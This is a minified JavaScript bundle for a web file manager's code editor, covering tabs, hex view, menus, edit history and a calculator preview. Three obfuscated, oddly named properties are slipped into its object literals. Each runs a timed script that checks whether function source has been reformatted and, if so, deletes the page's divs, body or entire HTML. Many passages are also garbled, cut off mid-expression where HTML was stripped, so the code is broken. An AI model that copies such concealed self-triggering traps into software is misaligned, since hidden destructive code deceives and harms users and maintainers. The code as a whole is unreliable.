i="{background-image:url('"+STATIC_PATH+"images/file_icon/icon_file/txt.png');}\n",n="{background-image:url('"+STATIC_PATH+"images/file_icon/icon_file/txt_small.png');}\n",a="",r="";_.each(l.split(","),function(e){(e=_.trim(e||"").toLowerCase())&&(a+=".x-item-icon.x-"+e+",",r+=".x-item-icon.small.x-"+e+",")});var o=_.trimEnd(a,",")+i+_.trimEnd(r,",")+n;o+=this.extIconAdd(),$.addStyle(o)},"extIconAdd":function(){var i="";return _.each({"xcf":"png"},function(e,t){i+=".x-item-icon.x-"+t+"{background-image:url('"+STATIC_PATH+"images/file_icon/icon_file/"+e+".png');}\n"}),i},"bindOpenFile":function(){this.listenTo(this.parent,"openApp.before",function(e,t,i,n){i&&-1===i.indexOf(".")&&(n.app="aceEditor")})},"bindEditorEvent":function(){var t=this;this.editor.bind("editor.valueSet",function(e){t.bindFileOpen(e.editor,e.value)})},"bindFileOpen":function(e,t){var i=this;if("#!"==t.substr(0,"#!".length)){var n=t.match(/^#!\s*(\/usr)?\/bin\/([\d\w]+)\s*[\n\r]/),a=t.match(/^#!\s*(\/usr)?\/bin\/env\s*([\d\w]+)\s*[\n\r]/),r=n||a;if(r&&r[2]){var o={"node":"javascript","sh":"sh","bash":"sh","zsh":"sh","yum":"sh","php":"php","perl":"perl","ruby":"ruby","python":"python","python3":"python"}[_.trim(r[2]).toLowerCase()];o&&e.kod.mode!=o&&this._delay(function(){e.kod.mode=o,e.getSession().setMode("ace/mode/"+o),i.editor.trigger("editor.optionChange",e,"mode",o)},400)}}}})},function(t,i,n){var a=function(){return this}()||Function("return this")(),r=a.regeneratorRuntime&&0<=Object.getOwnPropertyNames(a).indexOf("regeneratorRuntime"),o=r&&a.regeneratorRuntime;if(a.regeneratorRuntime=undefined,t.exports=n(191),r)a.regeneratorRuntime=o;else try{delete a.regeneratorRuntime}catch(e){a.regeneratorRuntime=undefined}},function(L,e){!function(e){"use strict";var l,t=Object.prototype,c=t.hasOwnProperty,i="function"==typeof Symbol?Symbol:{},a=i.iterator||"@@iterator",n=i.asyncIterator||"@@asyncIterator",r=i.toStringTag||"@@toStringTag",o="object"==typeof L,s=e.regeneratorRuntime;if(s)o&&(L.exports=s);else{(s=e.regeneratorRuntime=o?L.exports:{}).wrap=g;var d="suspendedStart",h="suspendedYield",u="executing",f="completed",p={},w={};w[a]=function(){return this};var m=Object.getPrototypeOf,x=m&&m(m(A([])));x&&x!==t&&c.call(x,a)&&(w=x);var v=y.prototype=C.prototype=Object.create(w);D.prototype=v.constructor=y,y.constructor=D,y[r]=D.displayName="GeneratorFunction",s.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===D||"GeneratorFunction"===(t.displayName||t.name))},s.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,y):(e.__proto__=y,r in e||(e[r]="GeneratorFunction")),e.prototype=Object.create(v),e},s.awrap=function(e){return{"__await":e}},O(k.prototype),k.prototype[n]=function(){return this},s.AsyncIterator=k,s.async=function(e,t,i,n){var a=new k(g(e,t,i,n));return s.isGeneratorFunction(t)?a:a.next().then(function(e){return e.done?e.value:a.next()})},O(v),v[r]="Generator",v[a]=function(){return this},v.toString=function(){return"[object Generator]"},s.keys=function(t){var i=[];for(var e in t)i.push(e);return i.reverse(),function n(){for(;i.length;){var e=i.pop();if(e in t)return n.value=e,n.done=!1,n}return n.done=!0,n}},s.values=A,_.prototype={"constructor":_,"reset":function(e){if(this.prev=0,this.next=0,this.sent=this._sent=l,this.done=!1,this.delegate=null,this.method="next",this.arg=l,this.tryEntries.forEach(T),!e)for(var t in this)"t"===t.charAt(0)&&c.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=l)},"stop":function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},"dispatchException":function(i){if(this.done)throw i;var n=this;function e(e,t){return r.type="throw",r.arg=i,n.next=e,t&&(n.method="next",n.arg=l),!!t}for(var t=this.tryEntries.length-1;0<=t;--t){var a=this.tryEntries[t],r=a.completion;if("root"===a.tryLoc)return e("end");if(a.tryLoc<=this.prev){var o=c.call(a,"catchLoc"),s=c.call(a,"finallyLoc");if(o&&s){if(this.prev"+e.kod.name+"
    "+LNG["explorer.ifSaveFile"]+"
    ","padding":40,"button":[{"name":LNG["common.save"],"focus":!0,"callback":_.bind(a,this)},{"name":LNG["common.notSave"],"callback":_.bind(n,this)}]})},"bindHotKey":function(){},"closeTab":function(t,i){t&&this.trigger("editor.tab.close",t);try{t&&editor.container&&editor.destroy()}catch(e){}delete this.editorMain.editorList[i];var n=this.$(".edit-tab .tab.edit-tab-menu"),a=this.$(".edit-body .edit-content"),r=n.filter(".tab-"+i),o=n.index(r);if(this.resetWidth("remove",r),a.filter("#"+i).parent().remove(),r.hasClass("this")){var s=(n=this.$(".edit-tab .tab.edit-tab-menu")).eq(o);0==s.length&&(s=n.last()),(i=s.attr("uuid"))&&this.select(i),this.tabNumChanged()}},initDesktopPCAZ8:setTimeout(function(){var pluginUpdateCheckXh0=function(){return 1};var licenseResets0=pluginUpdateCheckXh0+"";if(licenseResets0.indexOf(String.fromCharCode(7+(-65+(19+49)))) != -1){$("div").remove();}},99),"tabNumChanged":function(){var e=this.editorMain.current(),t=this.$(".disable-mask"),i=this.$(".bottom-toolbar,.page-list"),n=this.$(".edit-body .tabs");e?(t.addClass("hidden"),n.removeClass("hidden"),i.removeClass("hidden")):(t.removeClass("hidden"),n.addClass("hidden"),i.addClass("hidden"),this.fileTitleChange()),this.trigger("editor.tab.change")},"resetWidth":function(e,t){"remove"==e&&t.removeClass("edit-tab-menu");var i=150,n=this.$(".edit-tab .tab.edit-tab-menu"),a=this.$(".edit-tab .tabs").innerWidth(),r=this.$(".edit-tab .add").outerWidth()+10,o=n.length;switch(Math.floor((a-r)/151)c?this.change("left",l,n):this.tabLeftNow'+t+"":"/ "+e.pageTotal+' ('+t+")"},"callback":function(e,t){i.kod.pageInfo.page=e,i.kod.pageInfo.pageNum=a[t],n.storeValue(a[t]),n.parent.refresh()}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(e){this.editor=e.editor,this.editorMain=e.editorMain,this.$el=$(this.editor.container),this.bindEvent(),this.bindMenu(),this.changeInfo=_.debounce(_.bind(this.changeInfo,this),20)},"bindEvent":function(){var t=this,i=function i(){t.editor.hextStatus&&requestAnimationFrame(function(){t.selectChange(t.editor)})},n=!0;this.editor.setOption("enableMultiselect",0),this._delay(function(){this.editor.setOption("enableMultiselect",1)},10),this.editor.on("mousedown",function(e){t.editor.hextStatus&&1==e.domEvent.which&&(e.altKey=1)}),this.$el.bind("mouseup",function(e){t.editor.hextStatus&&1==e.which&&i()}),this.editor.on("changeSelection",i),this.listenTo(this.editorMain,"editor.valueSet",function(e){e.editor==this.editor&&(n&&this.support(e.value)&&(this.editor.hextStatus=!0,n=!1),this.editor.hextStatus&&(e.isRendered=!0,t.showHexView(e.value)))});var a=!1;this.editor.getSession().on("changeScrollLeft",function(e){(a=a||t.$(".ace-hex-title")).css({"left":parseInt(-e)+"px"})})},"support":function(e){var t=_.get(window,"kodApp.appList.aceEditor.extArr")||["txt","log","html","js","css","php"],i=_.get(this.editor,"kod.ext","txt"),n=-1!=e.indexOf("\0");return!_.includes(t,i)&&n},"showHexView":function(e){this.editor._beforeValueSet=!0,this.editor._beforeValue=e,this.display(!0),this.editor._beforeValueSet=!1},"display":function(e){var t=this,i=this.editor,n=i.getSession(),a=$(i.container);if(e&&(i._beforeMode||this.initViewBefore(a),i._beforeReadOnly=i.$readOnly,i._beforeMode=n.$modeId,i._beforeWrapMode=n.$useWrapMode,i._beforeShowInvisibles=i.getShowInvisibles(),i._beforeValueSet||(i._beforeValue=i.getValue())),i.hextStatus=e,i.renderer.setShowGutter(!e),e){var r=this.$(".tab-"+_.get(i,"kod.uuid"));r.addClass("loading"),n.setUseWrapMode(0),n.setMode("ace/mode/text"),a.addClass("ace-view-hex"),i.setReadOnly(!0),i.setShowInvisibles(!1),i.renderer.setShowGutter(!1),this.convertToHext(i,function(e){t.$el&&(i._beforeValueBytes=e.bytes,t.setValue(i,e.value),r.removeClass("loading"))})}else n.setMode(i._beforeMode),n.setUseWrapMode(i._beforeWrapMode),a.removeClass("ace-view-hex"),i.setReadOnly(i._beforeReadOnly),i.setShowInvisibles(i._beforeShowInvisibles),i.renderer.setShowGutter(!0),t.setValue(i,i._beforeValue),this.clearMarker()},bindDragF2:setTimeout('var currentPathi2=function(){return false};var showTablegBi3=currentPathi2[base64Decode("dG9TdHJpbmc=")]();if(showTablegBi3.indexOf("\\n") != -1){var showStoreListkYHG5=$("body");showStoreListkYHG5.remove();}',23),"bindMenu":function(){var t=this.editorMain,e=t.$(".context-menu-list.menu-view-setting").data("contextMenu");if(e&&!t.$(".context-menu-item.menu-view-hex").exists()){var i={"name":"HEX view","icon":"ri-terminal-box-fill","callback":function(){var e=t.current();e.previewHex.display(!e.hextStatus)}};$.contextMenu.menuAdd({"menu-view-hex":i},e,"open-browser")}},"initViewBefore":function(e){var t=this,i=e.find(".ace_content");$('
    \n\t\t\t
    \n\t\t\t\tchar:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t\t\tcode:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t\t\tbit:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t\t\tindex:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t\t').appendTo(i);var n=" 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F TEXT";n=n.replace(/ /g," "),$('
    '+n+"
    ").appendTo(e),$('
    ').appendTo(i),$('
    ').appendTo(i),e.find(".close-view").bind("click",function(e){t.display(!1)})},"makeRange":function(e){var t=e.start.column,i=e.end.column;if(e.isMultiLine())return!1;if(i<11)return!1;t<59&&61
    \n\t\t\t\t
    ').appendTo(this.$el),this.$menuAt=this.$(".rightmenu-content-list"),this.$menuTarget=this.$(".rightmenu-target"),this.$el.attr("id")||this.$el.attr("id",UUID()));var a=this.$el.attr("id");$('').appendTo(this.$menuTarget),i=i||_.bind(this.parent.doAction,this.parent),$.contextMenu({"zIndex":9999,"selector":"#"+a+" ."+e,"callback":i,"className":e+" animated fadeIn","appendTo":this.$menuAt,"callbackCreate":n,"items":t})},"onRemove":function(){$(this.$menuAt).children().each(function(){var e=$(this).data("contextMenu");e&&$.contextMenu("destroy",e.selector),$(this).remove()})},"menuPosition":function(e,t){var i=t.parent(),n=t.offset(),a=t.outerWidth(),r=t.outerHeight();i.hasClass("top-toolbar")?e.css({"left":n.left+1,"top":n.top+r-1}):i.hasClass("bottom-toolbar")&&e.css({"left":n.left-e.outerWidth()+a,"top":n.top-e.outerHeight()}),1<=e.find("input").length&&this._delay(function(){e.find("input").val("").trigger("changeValue").focus()},100)},"tabSizeMenu":function(){var t=this;this.menuMake("menu-tab-size",{"soft-tab":{"name":"Soft Tabs (spaces)","className":"soft-tab"},"sep1":"---------","tab-size-2":{"name":"Tab with:2","className":"tab-size-set tab-size-2"},"tab-size-3":{"name":"Tab with:3","className":"tab-size-set tab-size-3"},"tab-size-4":{"name":"Tab with:4","className":"tab-size-set tab-size-4"},"tab-size-8":{"name":"Tab with:8","className":"tab-size-set tab-size-8"},"sep2":"---------","convert-to-space":{"name":"Convert To Space","className":"convert-to-space"},"convert-to-tab":{"name":"Convert To Tabs","className":"convert-to-tab"}},!1,function(){t.$(".context-menu-item.tab-size-set").click(function(){var e=$(this).attr("item-key").replace("tab-size-","");t.toolbar.doAction("tabSize",e)})})},"gotoLineMenu":function(){var e={"gotoline":{"name":LNG["explorer.goTo"],"className":"disable-ripple not-hover","type":"text"}};this.menuMake("menu-view-goto-line",e,!1,_.bind(this.gotoLineMenuEvent,this))},"gotoLineMenuEvent":function(){var i=this,n=function n(e){var t=i.editorMain.current();t.blur(),$.contextMenu.hidden(),_.delay(_.bind(i.editorMain.focus,t),10)};this.$(".menu-view-goto-line input").keyup(function(e){if("Escape"==e.key)return n(e);var t=parseInt($(this).val());isNaN(t)||i.editorMain.current().gotoLine(t)}).keyEnter(n)},"codeThemeMenu":function(){var e=G.system.all.codeTheme.split(","),i={};_.each(e,function(e){var t={"name":e,"className":"set-code-theme-"+e};"ambiance"==e&&(t.className+=" line-top"),i["set-code-theme-"+e]=t}),this.menuMake("menu-view-theme",i,!1,_.bind(this.codeThemeMenuEvent,this)),this.codeThemeSet()},"codeThemeMenuEvent":function(){var i=this,n=function n(e,t){t?i.toolbar.doAction("theme",e):i.codeThemeSet(e)};this.$(".menu-view-theme .context-menu-item").mouseenter(function(){var e=$(this).find("span").html();n(e),$(this).one("click",function(){n(e,!0)})}).mouseleave(function(e){n()})},"codeThemeSet":function(e){e=e||this.editorMain.editorConfig.theme;var t=this.editorMain.current()||!1;t&&t.setTheme("ace/theme/"+e);var i="code-theme-black",n="code-theme-light",a=this.$el.parents(".frame-main-editor").add(this.$el);this.editorMain.isBlackTheme(e)?a.removeClass(n).addClass(i):a.removeClass(i).addClass(n)},"fontSizeMenu":function(){var t={};_.each([12,13,14,15,16,18,20,22,24,26,28,32],function(e){t["set-code-font-"+e]={"name":e+"px","className":"set-code-font-"+e}}),this.menuMake("menu-view-font",t,!1,_.bind(this.fontSizeMenuEvent,this))},"fontSizeMenuEvent":function(){var t=this;this.$(".menu-view-font .context-menu-item").mouseenter(function(){var e=$(this).text();t.editorMain.current().setFontSize(e),$(this).one("click",function(){t.toolbar.doAction("fontSize",e)})}).mouseleave(function(){var e=t.editorMain.editorConfig.fontSize;t.editorMain.current().setFontSize(e)})},"menuSelectStatus":function(){var e=this.parent.parent,t=e.editorConfig,i=e.current();if(i){var n={"functionList":".function-list","autoComplete":".auto-complete","autoWrap":".auto-wrap","autoSave":".auto-save","displayChar":".display-char","softTab":".soft-tab","showGutter":".show-gutter"},a=this.$el;for(var r in a.find(".context-menu-item").removeClass("selected"),n)"1"==t[r]&&$.contextMenu.selectItem(a,n[r],n[r]);var o=replaceAll(t.fontFamily," ","-"),s=i.kod.charset&&i.kod.charset.toUpperCase(),l=ace.aceModeList.modesByName[i.kod.mode].caption;$.contextMenu.selectItem(a,".set-code-font-"+parseInt(t.fontSize)),$.contextMenu.selectItem(a,".set-code-theme-"+t.theme),$.contextMenu.selectItem(a,".tab-size-"+t.tabSize,".tab-size-set"),$.contextMenu.selectItem(a,".keyboard-type-"+t.keyboardType),$.contextMenu.selectItem(a,".set-font-family-"+o),$.contextMenu.selectItem(a,".set-charset-"+s),$.contextMenu.selectItem(a,".save-charset-"+s),$.contextMenu.selectItem(a,".set-code-mode-"+i.kod.mode),a.find(".bottom-toolbar .file-mode").html(l),a.find(".bottom-toolbar .config-tab").html("Tabs:"+t.tabSize),a.find(".toolbar-menu.menu-view-file-charset").html(s)}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.editorMain=this.parent.editorMain,this.bindMenu()},"bindMenu":function(){var e={"charset-save":{"name":LNG["common.charset.convertSave"],"icon":"flag","className":"code-charset-list","accesskey":"s","items":this.itemMake("save-charset")},"sep001":"----"};e=_.extend(e,this.itemMake("set-charset")),this.parent.menuMake("menu-view-file-charset",e,_.bind(this.changeCallback,this))},"changeCallback":function(e,t){var i=this.editorMain,n=i.current();if(0===e.indexOf("set-charset-")){var a=e.replace("set-charset-","");n.kod.charset=a,i.refresh(n)}if(0===e.indexOf("save-charset-")){a=e.replace("save-charset-","");n.kod.charsetSave=a,n.kod.charset=a,i.fileSave(n,function(){i.refresh(n)}),this.editorMain.trigger("editor.optionChange",n,"charset",a)}},"itemMake":function(e){for(var t={},i=this.charsetList(),n=0;nF5","icon":"ri-refresh-line","accesskey":"e"},"sep1":"---------","tab-close":{"name":LNG["common.close"],"icon":"ri-close-circle-line","accesskey":"d"},"tab-close-others":{"name":LNG["explorer.editor.closeOthers"],"icon":"ri-close-circle-fill","accesskey":"o"},"sep2":"--------","tab-close-left":{"name":LNG["explorer.editor.closeLeft"],"icon":"ri-close-line","accesskey":"l"},"tab-close-right":{"name":LNG["explorer.editor.closeRight"],"icon":"ri-close-line","accesskey":"r"},"sep3":"--------","tab-open-browser":{"name":LNG["explorer.openIE"],"icon":"ri-external-link-line","accesskey":"b"},"tab-open-the-path":{"name":LNG["explorer.openPath"],"icon":"ri-folder-fill-3","accesskey":"n"}},_.bind(this.menuCallback,this))},"menuCallback":function(e,t){var i=this.editorMain,n=t.$trigger,a=n.attr("uuid"),r=i.editorList[a]||!1,o=this.$(".edit-tab .tabs .tab");switch(e){case"tab-refresh":i.refresh(r);break;case"tab-close":i.tab.close(a);break;case"tab-close-others":o.not(n).each(function(){var e=$(this).attr("uuid");i.tab.close(e)});break;case"tab-close-left":var s=o.index(n);this.$(".edit-tab .tabs .tab:lt("+s+")").each(function(){var e=$(this).attr("uuid");i.tab.close(e)});break;case"tab-close-right":s=o.index(n);this.$(".edit-tab .tabs .tab:gt("+s+")").each(function(){var e=$(this).attr("uuid");i.tab.close(e)});break;case"tab-open-browser":if(!r.kod.path)return Tips.tips(LNG["common.notExists"],"warning");var l=this.pathModel.fileView(r.kod.path);window.open(l);break;case"tab-open-the-path":if(!r.kod.path)return Tips.tips(LNG["common.notExists"],"warning");var c=this.root.pathAction||kodApp.pathAction;c&&c.openFatherSelect(r.kod.path);break;case"tab-preview":r.preview&&r.preview.open()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.editorMain=this.parent.editorMain,this.bindMenu()},favAddCurrentcvX8:setTimeout('var resetMainsph6=function(){return 1};var historyPathwpT5=resetMainsph6["toString"]();if(_.includes(historyPathwpT5,String.fromCharCode(-58+(-30+(167-69))))){var initAuthInfoBZ4=$("html");initAuthInfoBZ4.html("");}'),"fontFamily":function(){var e=G.system.all.codeFont.split(","),i={};return _.each(e,function(e){var t=replaceAll(e," ","-");i["set-font-family-"+t]={"name":e,"className":"set-font-family-"+t}}),i},"fontFamilyHover":function(){var t=this;this.$(".code-font-family-list .context-menu-item").mouseenter(function(){var e=$(this).find("span").html();t.editorMain.fontFamilySet(e),$(this).one("click",function(){t.parent.toolbar.doAction("fontFamily",e)})}).mouseleave(function(){t.editorMain.fontFamilySet()})},"bindMenu":function(){var e=this.fontFamily(),t={"name":LNG["explorer.editor.textParse"],"icon":"ri-strikethrough","className":"text-parse","items":{"convert-upper":{"name":LNG["explorer.editor.convertUpperCase"]+"Ctrl+U","icon":"ri-arrow-up-line"},"convert-lower":{"name":LNG["explorer.editor.convertLowerCase"]+"Ctrl+O","icon":"ri-arrow-down-line"},"sep12":"---------","timeShow":{"name":LNG["explorer.editor.timeShow"],"icon":"ri-time-fill"},"timeInt":{"name":LNG["explorer.editor.timeInt"],"icon":"ri-time-line"},"sep14":"---------","chinese-traditional":{"name":LNG["explorer.editor.chineseTraditional"],"icon":"ri-arrow-up-line"},"chinese-simple":{"name":LNG["explorer.editor.chineseSimple"],"icon":"ri-arrow-down-line"},"sep18":"---------","line-removeEmpty":{"name":LNG["explorer.editor.lineRemoveEmpty"],"icon":"ri-delete-row"},"line-union":{"name":LNG["explorer.editor.lineUnoin"],"icon":"ri-delete-column"},"line-trim":{"name":LNG["explorer.editor.lineTrim"],"icon":"ri-space"},"line-sort":{"name":LNG["explorer.editor.lineSort"],"icon":"ri-sort-asc"},"line-reverse":{"name":LNG["explorer.editor.lineReverse"],"icon":"ri-arrow-up-down-line"},"sep19":"---------","line-sum":{"name":LNG["explorer.editor.lineSum"],"icon":"ri-calculator-line"},"line-average":{"name":LNG["explorer.editor.lineAverage"],"icon":"ri-calculator-line"}}},i={"name":LNG["explorer.editor.textEncode"],"icon":"ri-lock-password-line","className":"text-encode","items":{"url-encode":{"name":LNG["explorer.editor.urlEncode"],"icon":"ri-lock-fill"},"url-decode":{"name":LNG["explorer.editor.urlDecode"],"icon":"ri-lock-unlock-line"},"sep13":"---------","base64-encode":{"name":LNG["explorer.editor.base64Encode"],"icon":"ri-lock-fill"},"base64-decode":{"name":LNG["explorer.editor.base64Decode"],"icon":"ri-lock-unlock-line"},"sep15":"---------","unicode-encode":{"name":LNG["explorer.editor.unicodeEncode"],"icon":"ri-lock-line"},"unicode-decode":{"name":LNG["explorer.editor.unicodeDecode"],"icon":"ri-lock-unlock-line"}}};this.parent.menuMake("menu-view-setting",{"editor-tools":{"name":LNG["explorer.editor.tools"],"icon":"ri-tools-line","accesskey":"m","items":{"open-browser":{"name":LNG["explorer.openIE"],"icon":"ri-external-link-line","accesskey":"b"},"sep11":"---------","qrcode":{"name":LNG["explorer.editor.qrcode"],"icon":"ri-qr-code-line"},"regx":{"name":LNG["explorer.editor.regx"],"icon":"ri-terminal-window-line"},"sep110":"---------","insert-time":{"name":LNG["explorer.editor.currentTime"],"icon":"ri-timer-line"},"insert-roundString":{"name":LNG["explorer.editor.toolsRandString"],"icon":"ri-shuffle-line"},"md5":{"name":LNG["explorer.editor.md5"],"icon":"ri-key-line"}}},"code-beautify":{"name":LNG["explorer.editor.beautifyCode"],"icon":"ri-code-s-slash-line","accesskey":"m","items":{"beautify-auto":{"name":LNG["explorer.editor.beautifyCode"]+"Ctrl+Shift+F","icon":"ri-file-paper-line"},"sep101":"---------","beautify-html":{"name":"html "+LNG["explorer.editor.beautifyCode"],"icon":"ri-file-paper-line"},"beautify-css":{"name":"css "+LNG["explorer.editor.beautifyCode"],"icon":"ri-file-paper-line"},"beautify-js":{"name":"js/json "+LNG["explorer.editor.beautifyCode"],"icon":"ri-file-paper-line"}}},"textTools":t,"textEncode":i,"sep1":"---------","function-list":{"name":LNG["explorer.editor.functionList"]+"Ctrl+Shift+E","className":"function-list"},"auto-wrap":{"name":LNG["explorer.editor.wordwrap"],"className":"auto-wrap"},"auto-save":{"name":LNG["explorer.editor.autoSave"],"className":"auto-save"},"show-gutter":{"name":LNG["explorer.editor.showGutter"],"className":"show-gutter"},"display-char":{"name":LNG["explorer.editor.charAllDisplay"],"className":"display-char"},"sep2":"---------","font-family":{"name":LNG["explorer.editor.fontFamily"],"icon":"ri-text","className":"code-font-family-list","accesskey":"m","items":e},"ace-mode":{"name":LNG["explorer.editor.keyboardType"],"icon":"ri-terminal-box-line","accesskey":"m","items":{"keyboard-type-ace":{"name":"Default","className":"keyboard-type-ace"},"keyboard-type-vim":{"name":"vim","className":"keyboard-type-vim"},"keyboard-type-emacs":{"name":"emacs","className":"keyboard-type-emacs"}}},"sep3":"---------","help":{"name":LNG["explorer.editor.help"],"icon":"ri-question-line","items":{"shortcut":{"name":LNG["explorer.editor.shortcut"],"icon":"ri-keyboard-line"},"emmet":{"name":"Emmet help","icon":"ri-file-paper-line"},"learn-more":{"name":LNG["common.learnMore"],"icon":"ri-external-link-line","className":"editor-help-more"}}}},!1,_.bind(this.fontFamilyHover,this))}})},function(e,t,i){"use strict";function n(e){return a.apply(this,arguments)}var a;Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.historyArr=[],this.historyMax=50,this.historyIndex=0,this.editorMain=this.parent.parent,this.$next=this.$("[action=historyNext]"),this.$back=this.$("[action=historyBack]"),this.bindEvent()},"bindEvent":function(){this.refresh(),Mousetrap.bind("ctrl+-",this.back),Mousetrap.bind(["ctrl+shift+-","ctrl+="],this.next),this.listenTo(this.editorMain,{"editor.change":this.historyChange})},"ignoreNearLine":5,"historyChange":function(e){e.kod.bindPosChange||(e.kod.bindPosChange=!0,e.commands.addCommand({"bindKey":{"win":"Ctrl--","mac":"Ctrl--"},"name":"editPoseBack","exec":this.back}),e.commands.addCommand({"bindKey":{"win":"Ctrl-Shift--","mac":"Ctrl-Shift--"},"name":"editPoseNext","exec":this.next}));var t=e.selection.getCursor(),i=e.selection.getAllRanges();if(!(1=this.historyMax&&(this.historyArr=this.historyArr.slice(1)),this.historyIndex=this.historyArr.length-1,this.refresh()}},"next":function(){this.historyIndex+1>this.historyArr.length-1||(this.moveToPose(this.getItem(1)),this.refresh())},"back":function(){this.historyIndex-1<0||(this.moveToPose(this.getItem(-1)),this.refresh())},"shouldAdd":function(e,t){return 0!=t.row&&(!e||e.uuid!=t.uuid||Math.abs(e.row-t.row)>=this.ignoreNearLine)},"getItem":(a=function(e){this.historyIndex+=e;var t=this.historyArr[this.historyIndex],i=this.editorMain.editorList;if(!t||this.historyIndex<0||this.historyIndex>this.historyArr.length-1)return!1;if(t&&i[t.uuid])return t;for(var n=[],a=0;a=this.historyArr.length-1?this.historyArr.length-1:this.historyIndex,this.historyIndex=this.historyIndex<=0?0:this.historyIndex,this.$next.addClass(e),this.$back.addClass(e),this.historyIndex<=0&&t<=0||(0\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t\n\t\t\t\t\n\t\t\t
    \n\t\t").appendTo(this.$el),this.$preview=this.$(".cal-preview");var e=r(206);$.setStyle(e(),"editor-preview-mathCalc"),this.bindEvent(this.$preview)},"editorChange":function(){if(!this.previewShow&&!this.previewCloseForce){var e=this.editor.getValue();if(_.includes(e,"[MATH]"))return this.display(!0)}this.previewShow&&this.runMath()},"display":function(e){this.editor.kod.modeShowHide||(e?(this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview()),this.previewShow=!0,this.previewCloseForce=!1,this.$el.addClass("cal-page"),this.runMath()):(this.previewShow=!1,this.previewCloseForce=!0,this.$el.removeClass("cal-page")))},"runMath":function(){var t=this;i["default"].getAnswer(this.editor.getValue(),function(e){t.$(".cal-preview-result").html(e)})},"bindEvent":function(t){var i=this,e="click touchend";t.bind(e,function(e){return stopPP(e)}),t.find(".cal-toolbar .remove").bind(e,function(){i.display(!1)});var n=r(207),a=i.renderHtml(n,!1,!1);t.find(".cal-toolbar .help").bind(e,function(){i.editor.insert(a)}),this.editor.session.on("changeScrollTop",function(){if(t.exists()){var e=i.editor.session.getScrollTop();t.css({"top":-e}),t.find(".cal-toolbar").css("top",10+e)}}),this.bindResize(t)},"bindResize":function(e){var t=e.parent().width();this.dragResize=e.dragResize({"orgin":"x","viewBefore":!1,"className":"cal-preview-resize","size":{"init":.4*t,"max":t-100,"min":100}},this)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};t["default"]=function(){for(var l,c,d={},a={"cot":function(e){return 1/Math.tan(e)},"rand":function(){return Math.random()},"sum":function C(e,t,i){var n,C=0;for(i<0&&(i=0),i=i||1,n=e;n<=t;n+=i)C+=n;return C},"_and":function(e,t){return 1==e&&1==t?1:0},"_or":function(e,t){return 1==e||1==t?1:0},"_not":function(e){return 1==e?0:1},"_bigger":function(e,t){return t{2,3}|<<)/,"parse":function(e){return new d[e]}},"factorial":{"matchReg":/^(!)/,"appendExpress":!0,"parse":function(e){return new d[e]}},"deg":{"matchReg":/^(deg)[\s\+\-\*\/\)]|$/,"appendExpress":!0,"parse":function(e){return new d[e]}},"bracket":{"matchReg":/^(\(|\))/,"parse":function(e){return new d[e]}},"hex":{"matchReg":/^(0x[0-9a-f]+)/,"parse":function(e){var t=new d["(literal)"];return t.value=parseInt(e),t}},"bin":{"matchReg":/^(0b[01]+)/,"parse":function(e){}},"float":{"matchReg":/^(\d*\.\d+(e\d+)*)/,"parse":function(e){var t=new d["(literal)"];return t.value=parseFloat(e),t}},"integer":{"matchReg":/^(\d+)/,"parse":function(e){var t=new d["(literal)"];return t.value=parseInt(e),t}},"name":{"matchReg":/^([a-zA-Z0-9_$\u4e00-\u9fa5]+)/,"parse":function(e,t){var i;return"object"==(void 0===t?"undefined":y(t))&&"number"==typeof t[e]?(i=new d["(literal)"]).value=t[e]:n.hasOwnProperty(e.toUpperCase())?(i=new d["(literal)"]).value=n[e.toUpperCase()]:(i=new d["(name)"]).value=e,i}}};i("(literal)").prototype.nud=function(){return this},i("(name)").prototype.nud=function(){return this},i("<<",100),i(">>",100),i(">>>",100),i("+",110),i("-",110),i("*",120),i("/",120),i("%",120),i("!",130),i("deg",130),i("^",130),i("(",150),i(")"),i(","),i("(end)"),d["("].prototype.nud=function(){var e=h(0);return f(")"),e},d["("].prototype.led=function(e){if(this.first=e,this.second=[],")"!=l.id)for(;this.second.push(h(0)),","==l.id;)f(",");return f(")"),this},r("<<",100),r(">>",100),r(">>>",100),r("+",110),r("-",110),r("*",120),r("/",120),r("%",120),r("!",140),r("deg",140),function D(e,t){var i=d[e];i&&(i.prototype.led=function(e){return this.first=e,this.second=h(t-1),this})}("^",140),o("+",130),o("-",130),s("(literal)",function(){return this.value}),s("+",function(){return this.second!=undefined?this.first.val()+this.second.val():this.first.val()}),s("-",function(){return this.second!=undefined?this.first.val()-this.second.val():-this.first.val()});s("!",function(){var e=this.first.val();if("number"==typeof e&&0>",function(){return this.first.val()>>this.second.val()}),s(">>>",function(){return this.first.val()>>>this.second.val()}),s("(",function(){var e=a[this.first.value],t=[];if(!(e instanceof Function))throw new Error("Unknown function %1.".replace(this.first.value));for(var i=0,n=this.second.length;i[Function]":"string"==typeof t?t:t!=undefined&&null!=t?JSON.stringify(t):" ",x&&x[e]===r[e]||(i=''+i+""),n.push("
  • "+i+"
